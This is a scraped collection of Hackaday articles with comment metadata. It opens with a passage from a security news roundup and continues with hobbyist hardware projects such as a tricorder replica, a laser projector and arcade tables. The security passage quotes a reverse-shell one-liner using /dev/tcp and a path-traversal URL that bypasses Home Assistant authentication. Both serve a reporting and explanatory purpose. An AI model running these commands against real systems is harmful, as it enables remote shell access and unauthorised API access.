So how bad is this in the real world? If your disk encryption only relies on an fTPM, it’s pretty bad. The attack exposes that key and breaks encryption. For something like BitLocker that can also use a PIN, it’s a bit better, though to really offer more resistance, that needs to be a really long PIN: a 10 digit PIN falls to a GPU in just 4 minutes, in this scenario where it can be attacked offline. There is an obscure way to enable an “enhanced PIN”, a password, which makes that offline attack impractical with a secure password.
And if hardware glitching a computer seems to complicated, why not just
use the leaked MSI keys
? Now to be fair, this only seems to allow a bypass of Intel’s BootGuard, but it’s still a blow. MSI suffered a ransomware-style breach in March, but rather than encrypt data, the attackers simply threatened to release the copied data to the world. MSI apparently refused to pay up, and source code and signing keys are now floating in the dark corners of the Internet. There have been suggestions that this leak impacts the entire line of Intel processors, but it seems likely that MSI only had their own signing keys to lose. But
that’s plenty bad
, given the lack of a revocation system or automatic update procedure for MSI firmware.
Bootloader Ransomware
Orqa goggles are First Person View devices. Strap on their FPVs and you get to see what your drone sees in real time. Until a couple weeks ago, that is. Late March, those goggles started
displaying a bootloader message
instead of booting as normal. The message was interesting. The FPVs went straight to bootloader mode, and asked for an SDCard with updated software. Update the firmware in order to get started. Seems annoying but innocuous. Except Orqa didn’t push a forced update, and had no clue the devices were about to soft-brick.
The
rest of the story
is that a contractor who wrote some of the devices’ bootloader code wanted a guarantee of future employment, and so added a time-triggered bug. Yep, it’s an extortion scheme, masquerading as a license expiration — a unique sort of ransomware. It apparently became clear that this was a bad idea, and the evil programmer released a non-official binary to fix the issue. Thankfully an official fix is forthcoming, and it should go without saying that nobody should trust the direct release from a malicious contractor.
It’s Not the Crime, It’s the Coverup
If you needed it, here’s
another reason not to pay the ransom
. Well, more specifically, don’t pay the ransom, try to cover it up as a bug bounty, and then lie to investigators about the whole incident. Joseph Sullivan was
found guilty of Obstruction of Justice and Misrepresenting a Felony
, both in relation to an event while he was chief security officer at Uber.
Sullivan was let off easy with three years of probation, 200 hours of community service, and a $50,000 fine. Read the articles linked above, and let us know what you think. Was this a reasonable charge and punishment for the cover-up, or was this a perversion of justice to punish the victim trying to clean up after an attack?
Converso
Extraordinary claims require extraordinary proof. There’s a new messaging app that’s touting some extraordinary security and privacy claims, Converso. Some of the claims really intrigued [crnkovic], like bragging about no stored user or metadata.
These claims were asking to be looked into
.
Unfortunately, Converso is not open source and their website is totally silent on cryptographic primitives and protocols….
Turns out Converso is a quick app built around the
Seald
encryption library. It’s not a terrible scheme, using RSA public-private keys, and AES-256-CBC encryption. But it’s not state of the art, and decidedly not quantum resistant. And unfortunately this rather lukewarm approval of the basic encryption scheme is the best we can say about Converso. It’s not decentralized, messages do go through their servers, there’s lots of user data and metadata that’s part of the solution. It’s not great.
Turns out, it gets worse. Our intrepid hacker was looking through the decompiled app code, and noticed references to a remote Firestore database — a cloud-based database service from Google. And this one, which contains user data and way more, was publicly readable. Yep, all that metadata Converso claimed not to have? It was in the clear for anyone to query. Among all that data was message data, and mind-bogglingly, encryption keys. And all sent images, since they were being sent without encryption. By our calculations, that means pretty much everything was accessible, to anyone that knew where to look.
The gaping security holes were responsibly disclosed, and it’s claimed that they’ve been fixed. But Converso has a mountain of work ahead of them to win back any credibility. As hard as it was hyped, and as broken as the system seems to be, it’s worth asking if perhaps the app is a honeypot.
Bits and Bytes
Time to check your phone closet for a Cisco SPA112, a combination router and 2-port FXS phone adapter. This is the sort of equipment used to connect an analog fax machine to a VoIP system, and it turns out this one
has a nasty vulnerability
. CVE-2023-20126 scores a CVSS of 9.8, and it allows an unauthenticated user to upload new firmware through the web management interface. And don’t forget,
these devices are End-of-Lifed
, so no fix is expected.
Reverse shells are fun! They’re often used as an exploit’s payload, particularly when an exploit allows executing a bash command directly. A reverse shell is a remote process that executes our commands, and then sends the results back.
[Aditya Telange] has the start of a series here
, looking at the details, including a list of popular options. It’s everything from the popular
bash -i
, to more obscure commands like
0<&196;exec 196<>/dev/tcp/10.10.10.10/9001; sh <&196 >&196 2>&196
. Groovy!
And to cap off the week’s news,
Home Assistant had a nasty one
, where
an unauthenticated user can access the Supervisor API
. The bug is a sneaky path traversal that bypasses an authentication check regex. Check it yourself, by fetching
http://a.b.c.d:8123/api/hassio/app/.%252e/supervisor/info
on your Home Assistant install. The fixes have been bypassed a couple of times, and it’s release 2023.03.3 that’s safe to use, for now. | 17 | 5 | [
{
"comment_id": "6641984",
"author": "ONV",
"timestamp": "2023-05-12T15:31:27",
"content": "What’s a “honeypot”?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641993",
"author": "Sword",
"timestamp": "2023-05-12T15:53:49",
"content"... | 1,760,372,302.442648 | ||
https://hackaday.com/2023/05/12/tricorder-tutorial-isnt-just-for-starfleet-cadets/ | Tricorder Tutorial Isn’t Just For Starfleet Cadets | Tom Nardi | [
"handhelds hacks",
"LED Hacks",
"Microcontrollers"
] | [
"prop",
"reproduction",
"star trek",
"tricorder"
] | For many of us, the most difficult aspect of a project comes when it’s time to document the thing. Did you take enough pictures? Did you remember all the little details that it took to put it together? Should you explain those handful of oddball quirks, even though you’re probably the only person in the world that knows how to trigger them?
Well, we can’t speak to how difficult it was for
[Mangy_Dog] to put together this training video
for his incredible
Star Trek: Voyager
tricorder replica, but we certainly approve of the final product. Presented with a faux-VHS intro that makes it feel like something that would have been shown to cast members during the legendary run the franchise had in the 1990s, the video covers the use and operation of this phenomenal prop in exquisite detail.
Replaceable batteries are standard again in the 2370s.
Now to be fair, [Mangy_Dog] has sold a few of his replicas to other
Trek
aficionados, and we’re willing to bet they went for a pretty penny. As such, maybe it’s not a huge surprise he’d need to put together a comprehensive guide on how to operate the device’s varied functions. Had this been a personal project there wouldn’t have been the need to record such a detailed walk-through of how it all works — so in that regard, we’re fortunate.
One of the most interesting things demonstrated in this video is how well [Mangy_Dog] managed to implement mundane features such as brightness and volume control without compromising the look of the prop itself. Rather than adding some incongruous switches or sliders, holding down various touch-sensitive buttons on the device brings up hidden menus that let you adjust system parameters. The project was impressive enough from the existing images and videos, but seeing just how deep the attention to detail goes is really a treat.
Previously we took a look
at some of the work that [Mangy_Dog] has put into these gorgeous props, which (unsurprisingly) have taken years to develop. While they might not be able to contact an orbiting starship or diagnose somebody’s illness from across the room, it’s probably fair to say these are the most realistic tricorders ever produced — officially or otherwise. | 30 | 8 | [
{
"comment_id": "6641946",
"author": "James A Dahlberg",
"timestamp": "2023-05-12T12:22:12",
"content": "So all it really does is display some canned graphics and make annoying noises.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641948",
"author"... | 1,760,372,302.13382 | ||
https://hackaday.com/2023/05/12/laser-projector-built-from-an-old-hard-drive/ | Laser Projector Built From An Old Hard Drive | Bryan Cockfield | [
"Laser Hacks"
] | [
"3d printed",
"hard drive",
"laser",
"persistence of vision",
"projector"
] | Spinning hard drives are being phased out of most consumer-grade computers in favor of faster technology like solid-state drives and their various interfaces. But there’s still millions of them in circulation that will eventually get pulled from service — so what do we do with them? If you’ve got one that would otherwise be going in the garbage, they can be turned into some other interesting devices
like this laser text projector
.
Even the slowest drives spin at around 5000 RPM, which is perfect for this type of application. The device works by mounting twelve mirrors, each at a slightly different angle, on a drum which is spun by the drive’s motor. Bouncing a laser off of the spinning drum results in a projection of twelve horizontal lines. By rapidly switching the laser on and off depending on which mirror it’s pointing at, the length of each line can be controlled.
Thanks to persistence of vision, that allows you to show text on the surface that the laser is projected on. At speeds this high, it took [Ben] of
Ben Makes Everything
quite a few iterations to get it to a usable space. From sensors that were too slow to lasers not bright enough to 3D prints that were not accurate enough, he goes through the design of his build and the process in excellent detail.
After solving all of the problems including building his own constant-current laser power supply, and burning up a few laser diodes in the process, [Ben] has a laser projector capable of displaying readable text at a great distance which is also portable, running on a 12 V power supply. There are some possible areas of improvement that he notes as well, such as an unbalanced 3D printed part causing a bit of a wobble and the Arduino controller not being fast enough for more text. But it’s an impressive project nonetheless,
similar to a two-mirror version we saw some time ago
but with the ability to display text as well.
Thanks to [Måns] for the tip! | 41 | 20 | [
{
"comment_id": "6641887",
"author": "ian 42",
"timestamp": "2023-05-12T08:14:17",
"content": "impressive, but your not getting my spinning rust anytime soon…Yes, it’s Ok to have a TB or 2 for our fast storage for project files etc, and to boot off, but nothing compares to spinning disks for $/TB fo... | 1,760,372,302.388402 | ||
https://hackaday.com/2023/05/11/a-4-player-arcade-hidden-inside-a-coffee-table/ | A 4-Player Arcade Hidden Inside A Coffee Table | Dave Rowntree | [
"classic hacks",
"Games"
] | [
"arcade button",
"Batocera",
"coffee table",
"diy",
"happ",
"Joystick",
"raspberry pi 400",
"retrogaming",
"RGB LED"
] | [Ed] from
50% Awesome
on YouTube wanted to build a retro gaming system with a decent screen size, but doesn’t have a great deal of space to site it in, so a good compromise was t
o make a piece of useful furniture and hide all the fun parts inside
.
Building an arcade machine usually involves a lot of wiring
This video two-part build log shows a lot of woodwork, with a lot of mistakes (happy accidents, that are totally fine) made along the way, so you do need to repeat them. Essentially it’s a simple maple-veneered plywood box, with a thick lid section hosting the display and some repositioned speakers. This display is taken from a standard LG TV with the control PCB ripped out. The power button/IR PCB was prised out of the bezel, to be relocated, as were the two downwards-facing speakers. The whole collection of parts was attached to a front panel, with copious hot glue, we just hope the heavy TV panel was firmly held in there by other means!
Drilled a hole not quite in the right spot? No problem, just epoxy the cut-out back in place and re-drill it!
Inside the box’s lower half is a removable section [Ed] calls the game controller. This can reside fully inside the case when not in use and to deploy, is simply sat upon a pair of velcro-mounted rails that are dropped in place. Remember folks, for version one, simplicity is your closest friend. The controller unit houses a Raspberry Pi 400, which is loaded with an image of
Batocera.linux
to deal with all that emulation stuff. The Pi is slid in from the rear with a couple of 3D-printed brackets to hold it firm. Off-the-shelf Happ-style joysticks and standard-issue microswitch arcade buttons complete the user interface, which [Ed] did admit caused a few fun-and-games to fit. The cabling and joypad interface PCBs (the usual ‘zero delay keyboard encoder’) are common kits available from the usual purveyors of cheap electronics. The surface of the controller was decked out with a slick custom-designed vinyl print, which this scribe can attest to — after a recent arcade machine build — is a good move to help hide all those panel-cutting sins whilst looking totally intentional. On the power supply side of things, the built-in module takes care of supplying the 19V the TV needs, but no mention is made of how the Pi is powered. For wire-free operation, a pair of cordless power tool batteries can be dropped in.
A final twist for this configuration is that the removable controller unit can be easily thrown into the car and taken to other locations to play, and since the lid is basically just a normal TV inside, it can perform other duties such as a streaming media player or just a second monitor for those sofa computing needs. Nice!
Those beyond a certain age may hanker for the arcade halls of old, like in
this retrotechtacular
we featured last year. If you don’t have the skills or inclination to build a machine, you can buy them, but what do you do if the stock ROMs
aren’t to your taste
? | 3 | 3 | [
{
"comment_id": "6641866",
"author": "Bill",
"timestamp": "2023-05-12T06:43:33",
"content": "Kool",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6641893",
"author": "Daid",
"timestamp": "2023-05-12T08:24:51",
"content": "Really cool build, but that... | 1,760,372,302.705875 | ||
https://hackaday.com/2023/05/11/reverse-engineering-an-oil-burner-comms-board-with-a-few-lucky-breaks/ | Reverse Engineering An Oil Burner Comms Board, With A Few Lucky Breaks | Dan Maloney | [
"home hacks",
"Reverse Engineering"
] | [
"Buderus",
"ESP32",
"esphome",
"oil burner",
"reverse engineering",
"rs-232",
"wifi"
] | Here’s a question for you: How do you reverse engineer a circuit when you don’t even have it in hand? It’s an interesting problem, and it adds a level of difficulty to the already iffy proposition that reverse engineering generally presents. And yet, not only did [themole] find
a way to replicate a comms board for his oil burner
, he extended and enhanced the circuit for integration into his home automation network.
By way of backstory, [themole] has a wonky Buderus oil burner, which occasionally goes into safety mode and shuts down. With one too many cold showers as a result, he looked for ways to communicate with the burner controller. Luckily, Buderus sells just the thing — a serial port module that plugs into a spare slot in the controller. Unluckily, the board costs a bundle, and that’s even if you can find it. So armed with nothing but photos of the front and back of the board, the finding of which was a true stroke of luck, he set about figuring out the circuit.
With only a dozen components or so and a couple of connectors, the OEM board gave up its secrets pretty easily; it’s really just a level shifter to make the boiler talk RS-232. But that’s a little passé these days, and [the78mole] was more interested in a WiFi connection. So his version of the card includes an ESP32 module, which handles wireless duties as well as the logic needed to talk to the burner using the Buderus proprietary protocol. The module plugs right into the burner controller and connects it to
ESPHome
, so no more cold showers for [themole].
We thought this one was pretty cool, especially the way [themole] used the online photos of the board to not only trace the circuit but to get accurate — mostly — measurements of the board using
an online measuring tool
. That’s a tip we’ll keep in our back pocket.
Thanks to [Jieffe] for the tip. | 3 | 2 | [
{
"comment_id": "6641863",
"author": "Slurm",
"timestamp": "2023-05-12T06:18:31",
"content": "I had a very similar problem with the same buderus controller a while back. I also had thought about some form of remote system to check on the thing for errors. But in the end i ended up just repairing the... | 1,760,372,302.848073 | ||
https://hackaday.com/2023/05/11/converting-on-grid-electronics-to-off-grid/ | Converting On-Grid Electronics To Off-Grid | Dave Rowntree | [
"car hacks",
"Solar Hacks"
] | [
"dc-dc",
"inverter",
"LiFePO4",
"off grid",
"solar",
"Starlink",
"wall warts"
] | Husband and wife team [Jason & Kara] hail from Canada, and in 2018, after building their own camper, sold up their remaining earthly goods and headed south. If you’re not aware of them, they documented their journey on their YouTube channel, showing many interesting skills and hacks along the way. The
video we’re highlighting today shows a myriad of ways to power all the DC-consuming gadgets
this they lug along with them.
LiFePO4 batteries are far superior to lead acid for mobile solar installations.
Their heavily modded F-550 truck houses 12kWh of LiFePO4 batteries and a 1.5kW retractable solar array, with a hefty inverter generating the needed AC power. They weren’t too happy with the conversion losses from piles of wall warts that all drained a little power, knowing that the inverter that fed them was also not 100% efficient. For example, a typical laptop power brick gets really hot in a short time, and that heat is waste. They decided to run as much as possible direct from the battery bank, through different DC-DC converter modules in an attempt to streamline the losses a little. Obviously, these are also not 100%
Home, sorry, truck automation system
efficient, but keeping the load off the inverter (and thus reducing dependency upon it, in the event of another failure) should help stem the losses a little. After all as [Jason] says, Watts saved are Watts earned, and all the little lossy loads add up to a considerable parasitic drain.
One illustration of this is their Starlink satellite internet system consumes about 60W when running from the inverter, but only 28W when running direct from DC. Over the course of 24 hours, that’s not far off 1kWh of savings, and if the sun isn’t shining, then that 12kWh battery isn’t going to stretch as far.
There are far too many hacks, tips, and illustrations of neat space and power-saving solutions everywhere, to write here. Those interested in self-build campers or hacking a commercial unit may pick up a trick or two.
Thanks to [Keith] for the tip! | 54 | 11 | [
{
"comment_id": "6641829",
"author": "Everlanders - Jason",
"timestamp": "2023-05-12T01:16:38",
"content": "Never thought I’d see the day…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642044",
"author": "Andy",
"timestamp": "2023-05-12T17:... | 1,760,372,302.807219 | ||
https://hackaday.com/2023/05/11/fnirsi-vs-rigol-an-alternate-view/ | FNIRSI Vs Rigol: An Alternate View | Al Williams | [
"Reviews"
] | [
"FNIRSI",
"oscilloscope",
"rigol"
] | We’ve heard of the FNIRSI 1014D scope, but we’ve had the impression that it might not be a great scope, although it is economical. [Learn Electronics Repair] had heard from another YouTuber that it was “a piece of junk.” However, he wanted to
look at it compared to another inexpensive scope
, the Rigol DS1052E. His results were different from what we usually hear. To be clear, he didn’t think it was a perfect scope, but he did find it very usable for his purpose.
The 46-minute-long video does more than just a casual look. He uses both scopes in some real-world measurements. If you are in the market for a scope in this price range, it is worth the time to watch.
Honestly, we are as guilty as the next person of getting obsessed with specifications. One PC is good because it scores 1% higher on a benchmark than another. But in real life, you’ll never notice the difference. That may be what’s happening here.
On the other hand, everyone’s use cases are different. Besides that, your choice of a tool as integral to your day as a scope or a soldering iron is pretty personal. You like what you like, and it doesn’t always have to make sense.
If you have either of these scopes — or both — what do you think of the review? Leave us a note in the comments. We actually
looked at the original review that this video refers to
. We know that not all FNIRSI scopes live up to their
supposed specifications
. | 31 | 12 | [
{
"comment_id": "6641809",
"author": "Urgon",
"timestamp": "2023-05-11T22:54:53",
"content": "In Poland this oscilloscope is cheaper than vintage analog scopes. Even if it has bandwidth of 30MHz, it’s still a decent tool in my opinion for people who can’t afford anything better. Seriously, 20 years ... | 1,760,372,302.923672 | ||
https://hackaday.com/2023/05/10/exploiting-hardware-level-parallelism-in-the-manticore-hardware-accelerated-rtl-simulator/ | Exploiting Hardware-Level Parallelism In The Manticore Hardware-Accelerated RTL Simulator | Maya Posch | [
"hardware"
] | [
"hdl",
"rtl simulator",
"verilator"
] | Before a chip design is turned from a hardware design language (HDL) like VHDL or Verilog into physical hardware, testing and validating the design is an essential step. Yet simulating a HDL design is rather slow due to the simulator using either only a single CPU thread, or limited multi-threading due to the requirements of fine-grained concurrency. This is due to the strict timing requirements of simulating hardware and the various clock domains that ultimately determine whether a design passes or fails. In a recent attempt to speed up RTL (transistor) level simulations like these, Mahyar Emami and colleagues
propose a custom processor architecture
– called Manticore – that can be used to run a HDL design after nothing more than compiling the HDL source and some processing.
In the preprint paper they detail their implementation, covering the
static bulk-synchronous parallel
(BSP) execution model that underlies the architecture and associated tooling. Rather than having the simulator (hardware or software) determine the synchronization and communication needs of different elements of the design-under-test, the compiler instead seeks to determine these moments ahead of time. This simplifies the requirements of the Manticore execution units, which are optimized to execute just this simulation task.
Although an ASIC version of Manticore would obviously be significantly faster than the FPGA version the researchers used in this implementation, the 475 MHz, 225-core implementation on a Xilinx UltraScale+ FPGA (Alveo U200 card) compared favorably against the Verilator simulator which was run on three x86 systems ranging from an Intel Core i7-9700K to an AMD EPYC 7V73X. Best of all was the highly impressive scaling the Manticore FPGA implementation demonstrated.
At this point Manticore is primarily a proof-of-concept, which like every PoC comes with a number of trade-offs. The primary limitation being that only a single clock domain is supported, HDL support for SystemVerilog is limited, the Scala-based tooling is very unoptimized, and waveform debugging is a TODO item. What it does demonstrate, however, is that RTL-level simulators can be made to be significantly faster, assuming BSP lives up to its purported benefits when faced with more complicated designs. | 10 | 6 | [
{
"comment_id": "6641572",
"author": "C. Scott Ananian",
"timestamp": "2023-05-11T02:35:10",
"content": "RTL = Register Transfer Level (not “transistor”)",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6641588",
"author": "Drone",
"timestamp": "2023-05-... | 1,760,372,302.983011 | ||
https://hackaday.com/2023/05/10/exploring-the-early-days-of-qrp-radio/ | Exploring The Early Days Of QRP Radio | Bryan Cockfield | [
"Radio Hacks"
] | [
"continuous wave",
"low power",
"morse code",
"QRP",
"qrpp",
"radio",
"retro",
"transistor"
] | Morse code might seem obsolete but for situations with extremely limited bandwidth it’s often still the best communications option available. The code requires a fair amount of training to use effectively, though, and even proficient radio operators tend to send only around 20 words per minute. As a result of the reduced throughput, a type of language evolved around Morse code which, like any language, has evolved and changed over time. QRP initially meant something akin to “you are overloading my receiver, please reduce transmitter power” but now means “operating radios at extremely low power levels”.
[MIKROWAVE1] explores some of the earlier options for QRP radios in this video
.
There’s been some debate in the amateur radio community over the years over what power level constitutes a QRP operation, but it’s almost certainly somewhere below 100 watts, and while the radios in this video have varying power levels, they tend to be far below this upper threshold, with some operating on 1 watt or less. There are a few commercial offerings demonstrated here, produced from the 70s to the mid-80s, but a few are made from kits as well. Kits tended to be both accessible and easily repairable, with Heathkit being the more recognizable option among this category. To operate Morse code (or “continuous wave” as hams would call it) only requires a single transistor which is why kits were so popular, but there are a few other examples in this video with quite a few more transistors than that. In fact, there are all kinds of radios featured here with plenty of features we might even consider modern by today’s standards; at least when Morse code is concerned.
QRP radios in general are attractive because they tend to be smaller, simpler, and more affordable. Making QRP contacts over great distances also increases one’s ham radio street cred, especially when using Morse, although this benefit is more intangible. There’s a large trend going on in the radio world right now surrounding operating from parks and mountain peaks, which means QRP is often the only way to get that done especially when operating on battery power. Modern QRP radios often support digital and voice modes as well and can have surprisingly high prices, but taking some cues from this video about radios built in decades past could get you on the radio for a minimum or parts and cost,
provided you can put in the time
. | 23 | 9 | [
{
"comment_id": "6641533",
"author": "craig",
"timestamp": "2023-05-10T23:56:45",
"content": "I thought most people consider QRP to be 5W or less.Learning to operate CW is tons of fun and I have to say, my $1000 rig is amazing with its ability to zero beat as well as built in decoder. Because CW is ... | 1,760,372,303.18365 | ||
https://hackaday.com/2023/05/10/low-frequency-dc-block-lets-you-measure-ripple-better/ | Low-Frequency DC Block Lets You Measure Ripple Better | Dan Maloney | [
"Misc Hacks"
] | [
"bias",
"DC block",
"filter",
"offset",
"PIN diode",
"ripple"
] | We all know how to block the DC offset of an AC signal — that just requires putting a capacitor in series, right? But what if the AC signal doesn’t alternate very often? In that case, things get a little more complicated.
Or at least that’s what [Limpkin] discovered, which led him to design
this low-frequency DC block
. Having found that commercially available DC blocks typically have a cutoff frequency of 100 kHz, which is far too high to measure power rail ripple in
his low-noise amplifier
, he hit the books in search of an appropriate design. What he came up with is a non-polarized capacitor in series followed by a pair of PIN diodes shunted to ground. The diodes are in opposite polarities and serve to limit how much voltage passes out of the filter. The filter was designed for a cutoff frequency of 6.37 Hz, and [Limpkin]’s testing showed a 3-dB cutoff of 6.31 Hz — not bad. After some torture testing to make sure it wouldn’t blow up, he used it to measure the ripple on a bench power supply.
It’s a neat little circuit that ended up being a good learning experience, both for [Limpkin] and for us. | 12 | 5 | [
{
"comment_id": "6641497",
"author": "macsimski",
"timestamp": "2023-05-10T21:32:44",
"content": "It would be interesting to see what a very low esr capacitor would achieve.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641550",
"author": "Herr Bra... | 1,760,372,303.033525 | ||
https://hackaday.com/2023/05/10/tiny-microcontroller-uses-real-time-operating-system/ | Tiny Microcontroller Uses Real-Time Operating System | Bryan Cockfield | [
"home hacks"
] | [
"automation",
"ESP32",
"home",
"real time operating system",
"RTOS",
"smoke detector",
"switching",
"temperature"
] | Most of the computers we interact with on a day-to-day basis use an operating system designed for flexibility. While these are great tools for getting work done or scrolling your favorite sites, they have a weakness when it comes to interacting quickly with a real-world environment. For these kinds of low-latency, high-reliability systems you may want to turn to something like freeRTOS which is optimized for this kind of application and which [Parikshit Pagare] has used
to build his home automation system
.
This build is based around an ESP32 for which freeRTOS, designed specifically for embedded systems, is uniquely suited. There are several channels built in capable of monitoring temperature, functioning as a smoke alarm, and sensing whether someone is at the front door. All of these are reported to a small OLED screen but are also updated on an Android app as well, which happens nearly instantaneously thanks to the real-time operating system. There are a number of user-controllable switches as well that are capable of turning lights or fans on and off.
For a home automation system, it’s one of the most low-cost and fully-featured we’ve seen and if you’re still having trouble coming across a Raspberry Pi as they sort out supply issues, something like this might make an excellent substitute at a fraction of the price. If you’re looking to expand even beyond this build, one of the gold standards for ESP32-based automation design is
this build from [Marcus]
which not only demonstrates how to build a system like this but goes into great detail on the ESPHome environment. | 51 | 11 | [
{
"comment_id": "6641447",
"author": "Norbert",
"timestamp": "2023-05-10T18:52:46",
"content": "Nice project to study the evolution of operating systems!But: Is a microcontroller running an operating system still a microcontroller? ;-)",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,303.121776 | ||
https://hackaday.com/2023/05/10/hackaday-prize-2023-65uino-6502-learning-in-a-familiar-package/ | Hackaday Prize 2023: 65uino 6502 Learning In A Familiar Package | Dave Rowntree | [
"Arduino Hacks",
"computer hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"6502",
"6507",
"6532",
"Arduino Uno",
"riot"
] | [Anders Nielsen] presents his entry for the 2023 Hackaday Prize:
The 65uino
. Which as you might be able to guess, is a 6502-based microcomputer wedged into an Arduino Uno form factor (well, almost wedged in, but we’ll let it slide) The premise is simple, older micros are easier to understand, the board can be build up from new-old or salvaged stock, and that’s more chips on boards and less sitting on a dusty shelf. After all, even though the 6502 in its original form is long obsolete, it’s far better to be pushing some electrons around, than sitting there decaying.
The OLED frame buffer is bigger than the host’s entire RAM. No problem!
From an educational perspective, the first lesson is the hand-soldering of through-hole DIP components and a smattering of straightforward surface mount parts in their supporting roles. Then on to setting up the
cc65 toolchain
. To say this is a pure 6502 system is a little misleading, it actually uses the 6507 device variant, which is a die-bond variant of the same device but with only 28 of the pins utilized.
The use of the
6532 RIOT
(RAM-I/O-Timer) chip provides two 8-bit ports of GPIO as well as a timer and 128 bytes of SRAM, making the design more compact. There is a socket that will accept a 24 or 28-pin E(E)PROM device, with the extra four pins removable and the PCB snapped off if fitment into a standard ‘Uno case is desirable. Neat!
Full hardware build and PCB design (using KiCAD) are available on the
65uino GitHub page
. Just remember folks, with everything minimal 6502 related — some assembly required :D
We see the 6502 a lot, let’s be fair. But why not? Here’s
a slightly more practical board
with a bit more resources, an absolute beast of a
luggable dual-6502 machine
, and
yet another 6502 verilog implementation
ready to be dropped into a spare corner of a FPGA project that needs a little extra.
The
Hackaday
Prize 2023
is Sponsored by: | 20 | 5 | [
{
"comment_id": "6641404",
"author": "YGDES",
"timestamp": "2023-05-10T15:48:40",
"content": "OK, That’s a perfect practical joke, but we’re in May, April 1st is now gone. I fail to see the point in actually helping education.",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,303.955002 | ||
https://hackaday.com/2023/05/10/supercon-2023-is-on-we-want-you/ | Supercon 2023 Is On, We Want You! | Elliot Williams | [
"cons",
"Featured"
] | [
"2023 Hackaday Supercon",
"2023 Hackaday Superconference",
"Supercon",
"Superconference"
] | We’re absolutely excited to be able to announce that the Hackaday Supercon is on for 2023, and will be taking place Nov 3 – Nov 5 in sunny Pasadena CA. And with that, we’d like to open the floodgates: we’d like to hear your proposals for talks and workshops! The
Call for Speakers
and
Call for Workshops
forms are online now, and you’ve got until July 18th to get yourself signed up.
It seems like only six months ago that we were all gathered together, soldering in the back alley, hatching grand plans for world domination, or simply trying to figure out how to program a four-bit computer to blink some darn LEDs. But here we are, as [James Newton] pointed out, at the furthest point from the Supercon Sun. With every passing day we sail closer toward the next Supercon than to the last one. (And frankly, it’s easier to wait in anticipation than to build a time machine.)
So start thinking of what you’d like to bring, what you’d like to present, and what you’d like to teach others in a hands-on workshop. Supercon is a fantastic event to geek out, to share the inevitable stories of tragedy and triumph that accompany any serious project, and to introduce yourself to a large community of like-minded hackers. Like last year, we’ll be featuring both longer and shorter talks, and hope to get a great mix of both first-time presenters and Hackaday luminaries. And as always, presenters get in for free, get their moment in the sun, and get a high-five from the Hackaday audience. Get yourself signed up now! | 15 | 10 | [
{
"comment_id": "6641403",
"author": "matt venn",
"timestamp": "2023-05-10T15:46:59",
"content": "superconnnnn!!!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6641463",
"author": "Randy",
"timestamp": "2023-05-10T19:45:39",
"content": "Hotel avai... | 1,760,372,303.894816 | ||
https://hackaday.com/2023/05/10/clever-optics-make-clocks-digits-float-in-space/ | Clever Optics Make Clock’s Digits Float In Space | Robin Kearey | [
"clock hacks",
"LED Hacks"
] | [
"AIRR",
"clock",
"holographic display",
"LED display"
] | If you’ve never heard of Aerial Imaging by Retro-Reflection, or AIRR for short, you’re probably not the only one. It’s a technique developed by researchers at Utsunomiya University that uses beam splitters and retroreflective foil to create the illusion of an image floating freely in the air. Hackaday alum [Moritz v. Sivers] has been experimenting with the technique to make — what else — a clock, appropriately called the
Floating Display Clock
.
The most commonly available retroreflective films are typically used for things like street signs and high-visibility clothing, but also work perfectly fine for homebrew AIRR setups. [Moritz] tried several types and found that one called Oralite Superlens 3000 resulted in the best image quality. He combined it with a sheet of teleprompter glass and mounted both in their appropriate orientation in a black 3D printed enclosure.
The projected image is generated by a set of 8×8 RGB LED displays, which are driven by a PCA9685 sixteen-channel servo driver board. A Wemos D1 Mini fetches the time from an NTP server and operates the display system, which includes not only the LED panels but also a set of servos that tilt each digit when it changes, giving the clock an added 3D effect that matches nicely with the odd illusion of digits floating in space.
We can imagine it’s pretty hard to capture the end result on video, and the demonstration embedded below probably doesn’t do it justice. But thanks to [Moritz]’s clear step-by-step instructions on
his Instructables page
, it shouldn’t be too hard to replicate his project and see for yourself what it looks like in real life.
Although this isn’t a hologram, it does look similar to the
many
display
types
that are commonly called “holographic”. If you want to make actual holograms,
that’s entirely possible, too
. | 15 | 3 | [
{
"comment_id": "6641335",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-05-10T11:49:40",
"content": "A Hackaday contributor writing about a project done by another Hackaday contributor.Interesting…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comm... | 1,760,372,303.618404 | ||
https://hackaday.com/2023/05/11/hackaday-prize-2023-uno-plus-updates-a-classic/ | Hackaday Prize 2023: Uno Plus+ Updates A Classic | Dave Rowntree | [
"Arduino Hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"Arduino Uno",
"RGB LED"
] | As an introduction to embedded electronics and programming in a straightforward environment, there isn’t much out there that can hold a torch to the Arduino Uno. Cheap (especially if you count the clones), easy to find, and quick to deploy, with countless support libraries, it’s a go-to for many a hack. This scribe simply can’t remember how many he’s bought, hacked, and deployed over the years. But can it be improved? [John Loeffler] thinks so, and his 2023 Hackaday Prize entry,
the Uno Plus+
could be the one.
If this is too much bling for you, there is a version with LEDs adjacent to non-illuminated headers.
After clearing the top deck of extraneous components (by shoving them on the bottom) there was much more space to expand the header labeling, so there can be no accidental misplacement of those DuPont wires this thing will inevitably sprout randomly.
The board also has an additional
Stemma
/
Qwiic
connector and a Neopixel LED for indication duties. Also sitting on the PCB bottom are a ton of opamps, to drive the header indicators. Yes, this board has a full set of colour-coded LED bling indicators, showing the logical state of each and every pin on all headers, giving an easy way to check the desired activity is occurring. Plus it looks cool. Illuminated headers? YES!
Think the Uno too light on resources to perform any meaningful modern workloads?
Think again
!
The
Hackaday
Prize 2023
is Sponsored by: | 19 | 7 | [
{
"comment_id": "6641753",
"author": "MarB",
"timestamp": "2023-05-11T18:47:17",
"content": "This project is actually my favorite Re-engineering Education entry for the Hackaday prize. It’s well documented, great emphasis is placed on aesthetics and the illuminated headers are just badass. Too bad i... | 1,760,372,303.832437 | ||
